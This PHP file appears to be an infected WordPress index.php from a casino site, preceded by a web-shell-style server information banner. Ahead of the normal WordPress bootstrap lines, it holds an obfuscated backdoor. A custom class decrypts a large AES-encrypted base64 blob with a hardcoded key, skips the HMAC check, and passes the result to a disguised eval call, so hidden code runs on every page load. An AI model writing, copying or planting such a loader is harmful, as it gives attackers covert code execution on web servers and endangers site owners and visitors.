|
Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.33 System : Linux vps5-61-56-81.local 3.10.0-1127.8.2.el7.x86_64 #1 SMP Tue May 12 16:57:42 UTC 2020 x86_64 User : fastpay-casino ( 501) PHP Version : 7.4.33 Disable Function : NONE Directory : /var/www/fastpay-casino/data/www/casinofastpay.xyz/ |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';